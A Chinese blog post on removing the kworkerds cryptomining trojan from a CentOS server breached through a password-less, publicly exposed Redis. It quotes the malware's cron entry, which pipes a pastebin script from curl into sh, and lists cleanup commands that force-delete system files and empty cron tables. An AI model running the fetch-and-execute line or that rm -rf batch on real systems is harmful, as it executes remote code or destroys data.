centos kworkerds木马解决方案

入侵最根本原因:

redis没有设置密码,并且开放任意ip可以通过6379接口登录。

入侵导致的情况:

CPU使用率100% ,但是 top指令 如下:
top - 14:54:32 up 105 days, 21:29, 1 user, load average: 6.97, 6.95, 7.01
Tasks: 98 total, 2 running, 96 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.8 us, 0.2 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 8010196 total, 170836 free, 4044724 used, 3794636 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 3613484 avail Mem

进程的占用都是很低的,但是 %Cpu(s): 99.8 us
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
27988 root 20 0 2397000 141676 2996 S 1.0 1.8 1016:05 beam.smp
4020 root 20 0 131976 11444 5388 S 0.3 0.1 134:44.25 AliYunDun
5008 root 20 0 3681584 105168 6588 S 0.3 1.3 20:48.23 java
5990 root 20 0 4772176 709264 6796 S 0.3 8.9 10:44.94 java
7426 root 20 0 3526796 571668 6960 S 0.3 7.1 9:46.08 java
19175 root 20 0 3540288 701796 6668 S 0.3 8.8 333:28.61 java
1 root 20 0 43604 3584 2012 S 0.0 0.0 4:06.13 systemd

需要如下处理:

  1. 运行crontab -l 发现有定时任务在执行
    */30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh

  2. 执行 vim /etc/ld.so.preload 删除其中内容 并且执行 ldconfig

  3. 再次执行top 就会发现被隐藏的进程 kworkerds ,kill -9 该进程号即可。

修复方式(阿里云建议):

    1. 限制redis连接的ip
      只允许某些特定的ip访问redis
      修改iptables内容

      -A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
      修改为指定ip访问
      -A INPUT -s 172.xxx.xxx.xxx -p tcp --dport 6379 -j ACCEPT
      注意:
      redis.conf 配置 bind 的含义不是要访问的服务器的ip 而是 本机用于别人访问的ip

    2. 运行以下代码来清除所有入侵内容

       ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
       echo "" > /etc/cron.d/root
       echo "" > /etc/cron.d/system
       echo "" > /var/spool/cron/root
       echo "" > /var/spool/cron/crontabs/root
       rm -rf /etc/cron.hourly/oanacron
       rm -rf /etc/cron.daily/oanacron
       rm -rf /etc/cron.monthly/oanacron
      
       rm -rf /bin/httpdns
       sed -i '$d' /etc/crontab
      
       sed -i '$d' /etc/ld.so.preload
       rm -rf /usr/local/lib/libntp.so
      
       ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9
       rm -rf /tmp/.tmph
       rm -rf /bin/kworkerds
       rm -rf /tmp/kworkerds
       rm -rf /usr/sbin/kworkerds
       rm -rf /etc/init.d/kworker
       chkconfig --del kworker
    3. 继续删除文件
      去tmp目录删除多余文件,同时删除隐藏文件 ls -al
      cd /usr/local/lib下 rm -rf libjdk.so

posted @ 2018-10-10 11:40  QzBlog  阅读(848)  评论(0编辑  收藏  举报